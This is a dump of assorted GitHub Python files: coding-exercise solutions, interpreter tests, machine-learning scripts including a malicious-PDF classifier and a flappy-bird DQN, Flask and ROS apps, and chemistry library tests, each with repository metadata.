axs[j,1].semilogx(p)\n axs[j,2].semilogx(n)\n axs[j,3].plot(np.sort(p/n))\n\n j=j+1\n\n plt.show()\n\n return V_p,V_n,s\n# %%\nfind_principal_vectors(NEG,POS)\n#%%","repo_name":"Syrinechen/Myeloma","sub_path":"Draft/principle_angles_analysis.py","file_name":"principle_angles_analysis.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40294801935","text":"import limp\nimport limp.syntax as Syntax\nimport tests.helpers as Helpers\nfrom tests.syntax import *\nfrom nose.tools import assert_equal\n\n\n# It's easy for string literals to be\n# unintentionally modified when\n# interpreting source code.\n\n# These tests will reduce that.\n\n\ndef test_ascii_literals_remain_unmodified():\n LOWEST_ORDINAL = 32\n HIGHEST_ORDINAL = 126\n ORDINALS = lambda: range(LOWEST_ORDINAL, HIGHEST_ORDINAL + 1)\n\n EXCLUSIONS = [\n Syntax.STRING_DELIMITER,\n Syntax.ESCAPE_SEQUENCE,\n ]\n\n for ordinal in ORDINALS():\n character = chr(ordinal)\n if not character in EXCLUSIONS:\n source_code = string(character)\n yield assert_equal, character, limp.evaluate(source_code)\n\n\ndef test_miscellaneous_strings_remain_unmodified():\n data = [\n \"[]\",\n \"()\",\n \"[ ]\",\n ]\n for string_ in data:\n source_code = string(string_)\n yield assert_equal, string_, limp.evaluate(source_code)\n\n\nt0 = Helpers.evaluation_fixture('test_escape_sequences_are_recognised', [\n (string('\\\\n'), \"\\n\"),\n (string('hello\\\\nworld!'), \"hello\\nworld!\"),\n (string('\\\\n\\\\n\\\\n'), \"\\n\\n\\n\"),\n\n (string('\\\\\\\"'), \"\\\"\"),\n\n (string('\\\\\\\\'), \"\\\\\"),\n])\n","repo_name":"byxor/limp","sub_path":"tests/integration/string_literal_test.py","file_name":"string_literal_test.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"8991557072","text":"# Author: RT\n# Date: 2022-10-20T17:20:49.204Z\n# URL: https://leetcode.com/problems/integer-to-roman/\n\n\nclass Solution:\n def intToRoman(self, num: int) -> str:\n values = [\n (1000, \"M\"),\n (900, \"CM\"),\n (500, \"D\"),\n (400, \"CD\"),\n (100, \"C\"),\n (90, \"XC\"),\n (50, \"L\"),\n (40, \"XL\"),\n (10, \"X\"),\n (9, \"IX\"),\n (5, \"V\"),\n (4, \"IV\"),\n (1, \"I\"),\n ]\n\n ans = \"\"\n for v, symbol in values:\n while num >= v:\n num -= v\n ans += symbol\n\n return ans\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/12-integer-to-roman.py","file_name":"12-integer-to-roman.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"73341070161","text":"class Fibonacci:\r\n def __init__(self,max_n):\r\n self.MaxN = max_n\r\n self.N = 0\r\n self.A = 0\r\n self.B = 1\r\n def __iter__(self):\r\n self.N = 0\r\n self.A = 0\r\n self.B = 1\r\n return self\r\n def __next__(self):\r\n if self.MaxN > self.N:\r\n self.N += 1\r\n self.A, self.B = self.B, self.A + self.B\r\n return self.A\r\n else:\r\n raise StopIteration\r\n\r\n\r\nl = Fibonacci(6)\r\nfor i in l:\r\n print(i)\r\n","repo_name":"Coder-Matheo/Python","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5567461456","text":"from flask import Flask, render_template, request\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport glob\nimport os\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\n\napp = Flask(__name__, static_folder=\"templates/style.css\")\n\n@app.route('/', methods=['GET'])\ndef helloWorld():\n return render_template('index.html')\n\n@app.route('/', methods=['POST'])\ndef predict():\n pdffile = request.files['pdffile']\n pdffile_path = \"./pdf_folder/\" + pdffile.filename\n pdffile.save(pdffile_path)\n all_files = glob.glob('./pdf_folder/*.csv') #give path to your desired file path\n latest_csv = max(all_files, key=os.path.getctime)\n print (latest_csv)\n data = pd.read_csv(latest_csv)\n my_model = tf.keras.models.load_model('C:/Users/Pranav Joshi/Downloads/my_cnn_model.h5')\n # le = LabelEncoder()\n # mal_encoded = le.fit_transform(data['Malicious'])\n # print(mal_encoded)\n # data['Malicious'] = mal_encoded\n X = data.iloc[:,:21].values\n X_test = np.array(X)\n X_test= X_test.reshape((X_test.shape[0], X_test.shape[1],1))\n y_pred=my_model.predict(X_test)\n y_pred = (y_pred > 0.5)\n print(type(y_pred))\n arr = np.array(y_pred).tolist()\n result_list = []\n final_list=[]\n for i in arr:\n for item in i:\n result_list.append(item)\n for i in range(0, len(result_list)):\n if result_list[i] == False:\n final_list.append('Non malicious')\n else:\n final_list.append('Malicious')\n \n total_files = len(final_list)\n malicious_files = final_list.count('Malicious')\n non_maliciousfiles = final_list.count('Non malicious')\n\n return render_template('index.html', total_files=total_files, malicious_files=malicious_files, non_maliciousfiles=non_maliciousfiles)\n\n\nif __name__ == '__main__':\n app.run(port=3000, debug=True)","repo_name":"pranavj2684/maliciouspdfdetection","sub_path":"model_loader.py","file_name":"model_loader.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41617173562","text":"import math\nimport os\nimport random\nimport sys\nimport build_data\nimport imageio\nimport numpy as np\nimport tensorflow as tf\n\nFLAGS = tf.app.flags.FLAGS\n\ntf.app.flags.DEFINE_string(\n 'train_image_folder',\n '',\n 'Folder containing trainng images')\ntf.app.flags.DEFINE_string(\n 'train_image_label_folder',\n '',\n 'Folder containing annotations for trainng images')\ntf.app.flags.DEFINE_string(\n 'output_dir', '',\n 'Path to save converted tfrecord of Tensorflow example')\n\n_NUM_SHARDS = 1 # image // 5000\n\ndef _preprocess_labels(dataset_label_dir):\n img_names = tf.gfile.Glob(os.path.join(dataset_label_dir, '*.png'))\n for f in img_names:\n img = imageio.imread(f)\n res = _preprocess(img)\n imageio.imwrite(f, res[:,:,0])\n\ndef _preprocess(img):\n res = np.copy(img)\n # lane to road\n res[res==6] = 7\n # set all zero except road and vehicle\n res[(res!=7)&(res!=10)] = 0\n # Hood to zero\n res[490:,:,:][res[490:,:,:]==10] = 0\n # leave only 3 label\n res[res==7] = 1\n res[res==10] = 2\n return res\n\ndef _convert_dataset(dataset_split, dataset_dir, dataset_label_dir):\n \"\"\"Converts the lyft dataset into into tfrecord format.\n Args:\n dataset_split: Dataset split (e.g., train, val).\n dataset_dir: Dir in which the dataset locates.\n dataset_label_dir: Dir in which the annotations locates.\n Raises:\n RuntimeError: If loaded image and label have different shape.\n \"\"\"\n\n img_names = tf.gfile.Glob(os.path.join(dataset_dir, '*.png'))\n random.shuffle(img_names)\n seg_names = []\n for f in img_names:\n # get the filename without the extension\n basename = os.path.basename(f).split('.')[0]\n # cover its corresponding *_seg.png\n seg = os.path.join(dataset_label_dir, basename+'.png')\n seg_names.append(seg)\n\n num_images = len(img_names)\n num_per_shard = int(math.ceil(num_images / float(_NUM_SHARDS)))\n\n image_reader = build_data.ImageReader('png', channels=3)\n label_reader = build_data.ImageReader('png', channels=1)\n\n for shard_id in range(_NUM_SHARDS):\n output_filename = os.path.join(\n FLAGS.output_dir,\n '%s-%05d-of-%05d.tfrecord' % (dataset_split, shard_id, _NUM_SHARDS))\n with tf.python_io.TFRecordWriter(output_filename) as tfrecord_writer:\n start_idx = shard_id * num_per_shard\n end_idx = min((shard_id + 1) * num_per_shard, num_images)\n for i in range(start_idx, end_idx):\n sys.stdout.write('\\r>> Converting image %d/%d shard %d' % (\n i + 1, num_images, shard_id))\n sys.stdout.flush()\n # Read the image.\n image_filename = img_names[i]\n image_data = tf.gfile.FastGFile(image_filename, 'rb').read()\n height, width = image_reader.read_image_dims(image_data)\n # Read the semantic segmentation annotation.\n seg_filename = seg_names[i]\n seg_data = tf.gfile.FastGFile(seg_filename, 'rb').read()\n seg_height, seg_width = label_reader.read_image_dims(seg_data)\n if height != seg_height or width != seg_width:\n raise RuntimeError('Shape mismatched between image and label.')\n # Convert to tf example.\n example = build_data.image_seg_to_tfexample(\n image_data, img_names[i], height, width, seg_data)\n tfrecord_writer.write(example.SerializeToString())\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\ndef main(unused_argv):\n tf.gfile.MakeDirs(FLAGS.output_dir)\n _preprocess_labels(FLAGS.train_image_label_folder)\n _convert_dataset('train', FLAGS.train_image_folder, FLAGS.train_image_label_folder)\n\nif __name__ == '__main__':\n tf.app.run()","repo_name":"wolfapple/carnd-lyft-challenge","sub_path":"datasets/build_lyft_data.py","file_name":"build_lyft_data.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33157599692","text":"\"\"\"\nGiven two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2, also\nrepresented as a string.\n\nNote: You must not use any built-in BigInteger library or convert the inputs to integer directly.\n\n\nSolution 1:\n\n - We simply calculate the entire total using normal multiplication methods, after converting\n ch -> int, and then convert the final int -> str\n\nSolution 2:\n\n - We create an output list on length equal to the size of num1 + num1, no 2 numbers will every multiply\n to be bigger than this.\n - We then iterate through num1, keeping track of the order each time we move to the next digit. For each\n digit in num1, we loop through num2, adding to the order each time we move to the next digit in num2.\n Note that keeping track of the order is simply a matter of moving a pointer.\n\n\n E.g. Take num1 = \"123\" and num2 = \"456\"\n\n\n output = [0, 0, 0, 0, 0, 0]\n pos = len(output) - 1 = 5\n\n\n Iterate through num1:\n\n n1 = 3, n1_pos = pos\n\n\n Iterate through num 2:\n\n n2 = 6, n1_pos = 5\n\n We now do the multiplication method\n\n n1 * n2 = 3 * 6 = 18\n place this at n1_pos\n\n output = [0, 0, 0, 0, 0, 18]\n\n move the carry term forward, and remove it from n1_pos\n\n output = [0, 0, 0, 0, 1, 8]\n\n now update the order by moving n1_pos -= 1\n\n\n n2 = 5, n1_pos = 4\n\n n1 * n2 = 3 * 5 = 15\n\n output = [0, 0, 0, 0, 16, 8] -> output = [0, 0, 0, 1, 6, 8]\n\n n1_pos -= 1\n\n We would simply repeat like this until all digits in num2 are exhausted, then go to the next\n digit in num1, and update the order by setting pos -= 1, therefore n1_pos starts at the next\n order of magnitude.\n\n - Finally we would just join this list of integers as a string\n\"\"\"\n\n\n# Solution 1\ndef multiply_strings(num1, num2):\n # Lookup for converting ch to int\n digits = {\n \"0\": 0,\n \"1\": 1,\n \"2\": 2,\n \"3\": 3,\n \"4\": 4,\n \"5\": 5,\n \"6\": 6,\n \"7\": 7,\n \"8\": 8,\n \"9\": 9\n }\n\n # Calculating the total of multiplying both numbers\n output = 0\n n2 = len(num2) - 1\n while n2 >= 0:\n n2_d = digits[num2[n2]]\n n1 = len(num1) - 1\n order_n2 = len(num2) - 1 - n2\n total = 0\n while n1 >= 0:\n n1_d = digits[num1[n1]]\n order_n1 = len(num1) - 1 - n1\n total += (n1_d * n2_d) * (10 ** order_n1)\n n1 -= 1\n output += total * (10 ** order_n2)\n n2 -= 1\n\n # Convert final total back to string, if this isn't allowed, we can very easily use different method.\n return str(output)\n\n\n# Solution 2\ndef multiply_stings_2(num1, num2):\n output = [0] * (len(num1) + len(num2)) # Create output list\n pos = len(output) - 1 # Set initial pointer where we will add to first\n\n for n1 in num1[::-1]:\n n1_pos = pos # Iterate through num1\n for n2 in num2[::-1]:\n output[n1_pos] += int(num1[n1]) * int(num2[n2]) # Add the product into n1_pos\n output[n1_pos - 1] += output[n1_pos] // 10 # Add the carry term into the next n1_pos\n output[n1_pos] %= 10 # Remove the carry from the n1_pos\n n1_pos -= 1 # Move to the next n1_pos and repeat\n pos -= 1 # Once we have run out of n1 terms, we move pos\n\n # We know need to remove any \"0\" padding terms in output\n padding = 0\n while padding < len(output) - 1 and output[padding] == 0:\n padding += 1\n\n return \"\".join(map(str, output[padding:]))\n\n\n","repo_name":"racullen403/Profile","sub_path":"Python/LeetCodeProblems/_43_MultiplyStrings.py","file_name":"_43_MultiplyStrings.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41574946035","text":"'''\nCreated on Sep 9, 2015\n\n@author: sbarnard\n'''\nimport json\nfrom nupic.data.file_record_stream import FileRecordStream\nfrom nupic.engine import Network\nfrom nupic.encoders import MultiEncoder\n\nATTRIBUTES=[\"topDownMode\", \"inferenceMode\", \"learningMode\", \"anomalyMode\"]\n\ndef createNetwork(params):\n network = Network()\n network = createRegions(network, params[\"poolers\"])\n network = createSensors(network, params[\"sensors\"])\n network = addLinks(network, params[\"links\"])\n return network\n\ndef createRegions(network, regions):\n for region in regions:\n createRegion(network, region)\n return network\n \ndef createRegion(network, region):\n r = network.addRegion(name=region[\"name\"], nodeType=region[\"type\"], nodeParams=json.dumps(region[\"params\"]))\n for arg in ATTRIBUTES:\n if arg in region:\n r.setParameter(arg, region[arg])\n return r; \n\ndef createSensors(network, sensors):\n for sensor in sensors:\n dataSource = FileRecordStream(streamID=sensor[\"source\"])\n dataSource.setAutoRewind(True)\n encoder = MultiEncoder()\n encoder.addMultipleEncoders(fieldEncodings=sensor[\"encodings\"])\n s = createRegion(network, sensor)\n s = s.getSelf()\n s.dataSource = dataSource\n s.encoder = encoder\n return network\n \ndef addLinks(network, links):\n for link in links:\n addLink(network, link)\n return network;\n\n\ndef addLink(network, link):\n network.link(srcName=link[\"source\"], destName=link[\"destination\"], linkType=link[\"type\"], linkParams=link[\"params\"])\n ","repo_name":"sethb43/nupic_network_runner","sub_path":"network/hierarchy_generator.py","file_name":"hierarchy_generator.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"41931360111","text":"\"\"\"\nproblem: https://www.acmicpc.net/problem/2671\nsolved: 22.07.30\n\"\"\"\n\nimport sys\nimport re\n\npat = r\"(100+1+|01)+\"\np = re.compile(pat)\ndoc = sys.stdin.readline().strip()\nresult = p.fullmatch(doc)\nif result and result.group() == doc:\n print(\"SUBMARINE\")\nelse:\n print(\"NOISE\")\n","repo_name":"neltia/boj","sub_path":"regex/gold5_2671_잠수함식별.py","file_name":"gold5_2671_잠수함식별.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41936051473","text":"import sys\nsys.path.append(\"game/\")\nimport wrapped_flappy_bird as game\nfrom model import MyModel\nfrom memory import DataMemory\n\nimport torch\n\nimport skimage as skimage\nfrom skimage import transform, color, exposure\nfrom skimage.transform import rotate\nfrom skimage.viewer import ImageViewer\n\nimport argparse\nimport random\nimport numpy as np\nfrom collections import deque\n\nACTION_NUM = 2\nIMG_HEIGHT, IMG_WIDTH = 80, 80\nGAME = 'bird' # the name of the game being played for log files\nCONFIG = 'nothreshold'\nACTIONS = 2 # number of valid actions\nGAMMA = 0.99 # decay rate of past observations\nOBSERVATION = 3000. # timesteps to observe before training\nEXPLORE = 3000000. # frames over which to anneal epsilon\nFINAL_EPSILON = 0.0001 # final value of epsilon\nINITIAL_EPSILON = 0.1 # starting value of epsilon\nREPLAY_MEMORY = 50000 # number of previous transitions to remember\nBATCH = 32 # size of minibatch\nFRAME_PER_ACTION = 1\nLEARNING_RATE = 1e-6\n\ndef initalize(game_state):\n do_nothing = np.zeros(ACTION_NUM)\n do_nothing[0] = 1\n x_t, r_0, terminal = game_state.frame_step(do_nothing)\n\n x_t = process_img(x_t)\n\n s_t = np.stack((x_t, x_t, x_t, x_t), axis=0)\n\n s_t = s_t.reshape(1, s_t.shape[0], s_t.shape[1], s_t.shape[2])\n\n return s_t\n\ndef process_img(x_t):\n x_t = skimage.color.rgb2gray(x_t)\n x_t = skimage.transform.resize(x_t, (IMG_HEIGHT, IMG_WIDTH))\n x_t = skimage.exposure.rescale_intensity(x_t,out_range=(0,255))\n\n x_t = (x_t / 255.0).astype(np.float32)\n\n return x_t\n\ndef get_next_state(s_t, x_t):\n x_t = x_t.reshape(1, 1, x_t.shape[0], x_t.shape[1])\n\n s_n = np.append(x_t, s_t[:, :3, :, :], axis=1)\n\n return s_n\n\ndef main():\n parser = argparse.ArgumentParser(description='Description of your program')\n parser.add_argument('-m','--mode', help='Train / Run', required=True)\n parser.add_argument('--checkpoint', default=\"final/easy.pth\", type=str, metavar='PATH',\n help=\"path to your checkpoint\")\n parser.add_argument('--resume', default=\"\", type=str, metavar='PATH',\n help=\"path to resume(defailt: none)\")\n args = vars(parser.parse_args())\n\n model = MyModel()\n if torch.cuda.is_available():\n model = model.cuda()\n\n optimizer = torch.optim.Adam(model.parameters(), LEARNING_RATE)\n loss_func = torch.nn.MSELoss()\n game_state = game.GameState()\n\n memory = DataMemory(REPLAY_MEMORY)\n\n s_t = initalize(game_state)\n \n if args['mode'] == 'Run':\n OBSERVE = 999999999\n epsilon = FINAL_EPSILON\n print (\"Loading weight from {}...\".format(args[\"checkpoint\"]))\n if torch.cuda.is_available():\n checkpoint = torch.load(args[\"checkpoint\"])\n else:\n checkpoint = torch.load(args[\"checkpoint\"], map_location='cpu')\n model.load_state_dict(checkpoint[\"state_dict\"])\n print (\"Weight loaded successfully\")\n model.eval()\n else:\n if args[\"resume\"]:\n if torch.cuda.is_available():\n checkpoint = torch.load(args[\"resume\"])\n else:\n checkpoint = torch.load(args[\"resume\"], map_location='cpu')\n model.load_state_dict(checkpoint[\"state_dict\"])\n OBSERVE = OBSERVATION\n epsilon = INITIAL_EPSILON\n model.train()\n\n t = 0\n while (True):\n loss_to_show = 0\n Q_sa = 0\n action_index = 0\n r_t = 0\n a_t = np.zeros([ACTIONS])\n #choose an action epsilon greedy\n if t % FRAME_PER_ACTION == 0:\n if (random.random() <= epsilon):\n print(\"----------Random Action----------\")\n if random.random() > 0.1:\n action_index = 0\n else:\n action_index = 1\n # action_index = random.randrange(ACTIONS)\n a_t[action_index] = 1\n else:\n if torch.cuda.is_available():\n q = model(torch.from_numpy(s_t).cuda())\n # print (q.cpu().detach().numpy())\n max_Q = np.argmax(q.cpu().detach().numpy())\n else:\n q = model(torch.from_numpy(s_t))\n # print (q.detach().numpy())\n max_Q = np.argmax(q.detach().numpy())\n action_index = max_Q\n a_t[max_Q] = 1\n\n #We reduced the epsilon gradually\n if epsilon > FINAL_EPSILON and t > OBSERVE:\n epsilon -= (INITIAL_EPSILON - FINAL_EPSILON) / EXPLORE\n\n #run the selected action and observed next state and reward\n x_t_colored, r_t, terminal = game_state.frame_step(a_t)\n\n x_t = process_img(x_t_colored)\n\n s_n = get_next_state(s_t, x_t)\n\n # store the transition in DataMemory\n memory.add(s_t, action_index, r_t, s_n, float(terminal))\n\n #only train if done observing\n if t > OBSERVE:\n state_t, action_t, reward_t, state_next, terminal = \\\n memory.gen_minibatch(BATCH)\n\n if torch.cuda.is_available():\n Q_output = model(torch.from_numpy(state_t).cuda())\n Q_eval = Q_output[range(Q_output.shape[0]), action_t].view(BATCH, 1)\n\n Q_next = model(torch.from_numpy(state_next).cuda()).detach()\n Q_next_mask = Q_next.max(1)[0].view(BATCH, 1)\n Q_target = torch.from_numpy(reward_t).cuda() + \\\n GAMMA * Q_next_mask * torch.from_numpy(terminal).cuda()\n\n else:\n Q_output = model(torch.from_numpy(state_t))\n Q_eval = Q_output[range(Q_output.shape[0]), action_t].view(BATCH, 1)\n\n Q_next = model(torch.from_numpy(state_next)).detach()\n Q_next_mask = Q_next.max(1)[0].view(BATCH, 1)\n Q_target = torch.from_numpy(reward_t) + \\\n GAMMA * Q_next_mask * torch.from_numpy(terminal)\n\n loss = loss_func(Q_eval, Q_target)\n\n loss_to_show += loss.item()\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # save progress every 10000 iterations\n if (args[\"mode\"] == \"Train\") and (t % 10000 == 0):\n print(\"Saving checkpoint...\")\n torch.save({\n 'iters': t,\n 'state_dict': model.state_dict(),\n }, 'easy/model_{}.pth'.format(t))\n t = t + 1\n s_t = s_n\n\n # print info\n state = \"\"\n if t <= OBSERVE:\n state = \"observe\"\n elif t > OBSERVE and t <= OBSERVE + EXPLORE:\n state = \"explore\"\n else:\n state = \"train\"\n\n print(\"TIMESTEP\", t, \"| STATE\", state, \\\n \"| EPSILON\", epsilon, \"| ACTION\", action_index, \"| REWARD\", r_t, \\\n \"| Loss \", loss_to_show)\n\n print(\"Episode finished!\")\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n","repo_name":"shiyi001/flappybird","sub_path":"dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":6866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"5966813471","text":"def main():\r\n\r\n binMulti = input(\"Enter Multiplier in binary: \") \r\n binCand = input(\"Enter Multiplicand in binary: \") \r\n dec1 = binaryToDecimal(binMulti)\r\n dec2 = binaryToDecimal(binCand)\r\n\r\n product = \"0000\" + binMulti\r\n\r\n print(\"Product:\", product)\r\n\r\n check = [int(product[7]), 0]\r\n #For loop runs 4 times in this instance because the most bits it can have is 4\r\n for i in range(4):\r\n print(check[0], check[1])\r\n product = checkPair(product,binCand,check)\r\n check[1] = check[0]\r\n check[0] = int(product[7])\r\n print(\"{} ({}) * {} ({}) = {}\".format(binMulti, dec1, binCand, dec2, product))\r\n\r\n#Checks the LSB and the check for the ALGO rules\r\ndef checkPair(num, multica,check):\r\n if (check[0] == 0 and check[1] == 0):\r\n num = right_shift(num)\r\n elif (check[0] == 1 and check[1] == 1):\r\n num = right_shift(num)\r\n elif (check[0] == 0 and check[1] == 1):\r\n num = right_shift(add(num, multica))\r\n elif (check[0] == 1 and check[1] == 0):\r\n num = right_shift(add(num, twos_compliment(multica)))\r\n return num\r\n\r\n#Adds the left side of the product and the Multiplicand together and updates the product register\r\ndef add(prod, cand):\r\n fourdig, mult = prod[:len(prod)//2], prod[len(prod)//2:] #splits the product register into two halves\r\n result = bin(int(fourdig, 2) + (int(cand, 2)))[2:].zfill(4)\r\n result = result + mult\r\n if (len(result) == 9):\r\n result = result[1:]\r\n print(\"Add: \", result)\r\n return (result)\r\n\r\n\r\n# Shifts all binary digits to right\r\ndef right_shift(num):\r\n numList = [int(d) for d in str(num)]\r\n if (numList[0] == 0):\r\n num = bin(int(num, 2) >> 1)\r\n num = num[2:].zfill(8)\r\n print(\"Shift: \", num)\r\n return(num)\r\n else:\r\n num = bin(int(num, 2) >> 1)\r\n num = \"1\" + num[2:].zfill(7)\r\n print(\"Shift: \", num)\r\n return (num)\r\n\r\n\r\n# Convert the multiplicand to Twos Compliment For Subtraction\r\ndef twos_compliment(num):\r\n binary = [int(d) for d in str(num)]\r\n for i in range(len(num)):\r\n if (binary[i] == 1):\r\n binary[i] = 0\r\n elif (binary[i] == 0):\r\n binary[i] = 1\r\n binary = int(''.join(str(i) for i in binary))\r\n binary = binaryToDecimal(binary)\r\n binary += 1\r\n binary = bin(binary)\r\n if len(binary) == 3:\r\n binary = 0 + binary\r\n return (binary[2:].zfill(4))\r\n\r\n# Convert Binary To Decimal\r\ndef binaryToDecimal(binary):\r\n binary = str(binary)\r\n decimal = int(binary, 2)\r\n return(decimal)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"KonnorGreen/Computer-Arch","sub_path":"BoothsAlgorithm.py","file_name":"BoothsAlgorithm.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36769543480","text":"import unittest\nimport os\nimport pkg_resources\n\nfrom chemml.chem.magpie_python.data.materials.CompositionEntry import CompositionEntry\nfrom chemml.chem.magpie_python.data.materials.util.GCLPCalculator import GCLPCalculator\nfrom chemml.chem.magpie_python.data.materials.util.LookUpData import LookUpData\n\nclass testGCLPCalculator(unittest.TestCase):\n # this_file_path = os.path.dirname(__file__)\n # abs_path = os.path.join(this_file_path, \"../../../test-files/\")\n abs_path = pkg_resources.resource_filename('chemml', os.path.join('datasets', 'data', 'magpie_python_test'))\n def setUp(self):\n self.calc = GCLPCalculator()\n\n def tearDown(self):\n self.calc = None\n\n def test_initialization(self):\n n_elem = self.calc.get_num_phases()\n self.assertEqual(len(LookUpData.element_names), n_elem, \"Initial \"\n \"number\"\n \" of phases should be equal to 112\")\n # Add in NaCl.\n NaCl = CompositionEntry(\"NaCl\")\n self.calc.add_phase(NaCl, -1)\n self.assertEqual(1 + n_elem, self.calc.get_num_phases())\n\n # Add in a duplicate.\n self.calc.add_phase(NaCl, -1)\n self.assertEqual(1 + n_elem, self.calc.get_num_phases())\n\n # See if energy is updated.\n self.calc.add_phase(NaCl, 0)\n self.assertAlmostEqual(-1, self.calc.phases[NaCl], delta=1e-6)\n self.calc.add_phase(NaCl, -2)\n self.assertAlmostEqual(-2, self.calc.phases[NaCl], delta=1e-6)\n\n # Add many phases.\n entries = CompositionEntry.import_composition_list(\n os.path.join(self.abs_path, \"small_set_comp.txt\"))\n energies = CompositionEntry.import_values_list(\n os.path.join(self.abs_path, \"small_set_delta_e.txt\"))\n self.calc.add_phases(entries, energies)\n\n self.assertEqual(725, self.calc.get_num_phases(),\n \"Total number of phases should be equal.\")\n\n def test_GCLP(self):\n n_elem = self.calc.get_num_phases()\n self.assertEqual(len(LookUpData.element_names), n_elem, \"Initial number\"\n \" of phases should be equal to 112\")\n\n # Simple test: No phases.\n NaCl = CompositionEntry(\"NaCl\")\n left, right = self.calc.run_GCLP(NaCl)\n self.assertAlmostEqual(0.0, left, delta=1e-6)\n self.assertEqual(2, len(right))\n\n # Add in Na2Cl and NaCl2 to map.\n self.calc.add_phase(CompositionEntry(\"Na2Cl\"), -1)\n self.calc.add_phase(CompositionEntry(\"NaCl2\"), -1)\n left, right = self.calc.run_GCLP(NaCl)\n self.assertAlmostEqual(-1, left, delta=1e-6)\n self.assertEqual(2, len(right))\n\n # Add NaCl to the map.\n self.calc.add_phase(NaCl, -2)\n left, right = self.calc.run_GCLP(NaCl)\n self.assertAlmostEqual(-2, left, delta=1e-6)\n self.assertEqual(1, len(right))\n\n # Make sure it can do systems not included in original.\n left, right = self.calc.run_GCLP(CompositionEntry(\n \"AlNiFeZrTiSiBrFOSeKHHe\"))\n self.assertAlmostEqual(0.0, left, delta=1e-6)\n self.assertEqual(13, len(right))","repo_name":"hachmannlab/chemml","sub_path":"tests/chem/magpie_python/data/materials/util/test_GCLPCalculator.py","file_name":"test_GCLPCalculator.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"3"} +{"seq_id":"33072332003","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import LoginManager\n\ndb: SQLAlchemy = SQLAlchemy()\n\n\ndef create_app():\n app = Flask(__name__)\n app.config['SECRET_KEY'] = \"thisismysecretkey!!\"\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite:///db.sqlite3\"\n db.init_app(app)\n db.app = app\n\n login_manager = LoginManager()\n login_manager.login_view = '/login'\n login_manager.init_app(app)\n\n from .models import User\n\n @login_manager.user_loader\n def load_user(user_id):\n return User.query.get(user_id)\n\n from .auth import auth\n app.register_blueprint(auth)\n\n from .management import manage\n app.register_blueprint(manage)\n\n return app\n","repo_name":"rezafarhang/Simple-Project-Management-System","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71871354640","text":"#!/usr/bin/env python\nimport rospy\n\nfrom geometry_msgs.msg import Twist\n\nimport sys\n\n\ndef move_turtle(lin_vel,ang_vel):\n rospy.init_node('move_turtle', anonymous=False)\n \n pub = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=10)\n rate = rospy.Rate(10) # 10hz\n #Creating Twist message instance\n vel = Twist()\n while not rospy.is_shutdown():\n \n#Adding linear and angular velocity to the message\n vel.linear.x = lin_vel\n vel.linear.y = 0\n vel.linear.z = 0\n vel.angular.x = 0\n vel.angular.y = 0\n vel.angular.z = ang_vel\n rospy.loginfo(\"Linear Vel = %f: Angular Vel = %f\",lin_vel,ang_vel)\n #Publishing Twist message\n pub.publish(vel)\n rate.sleep()\nif __name__ == '__main__':\n try:\n \n#Providing linear and angular velocity through command line\n move_turtle(float(sys.argv[1]),float(sys.argv[2]))\n except rospy.ROSInterruptException:\n pass","repo_name":"mymiragez/turtlebot_begin","sub_path":"src/beginner_turtorials/scripts/testrun.py","file_name":"testrun.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21758504200","text":"import httplib2\nfrom apiclient.discovery import build\nfrom oauth2client import client, file, tools\nfrom oauth2client.client import SignedJwtAssertionCredentials\n\nclass GoogleAPI:\n def authenticate(api_name, api_version, scope, key_file_location, service_account_email):\n f = open(key_file_location, 'rb')\n key = f.read()\n f.close()\n credentials = SignedJwtAssertionCredentials(service_account_email, key, scope=scope)\n service = build(api_name, api_version, http=credentials.authorize(httplib2.Http()))\n return service\n \n def get_active_users(account_email, key_file, analytics_view_id):\n scope = ['https://www.googleapis.com/auth/analytics.readonly']\n service = GoogleAPI.authenticate('analytics', 'v3', scope, key_file, account_email)\n results = 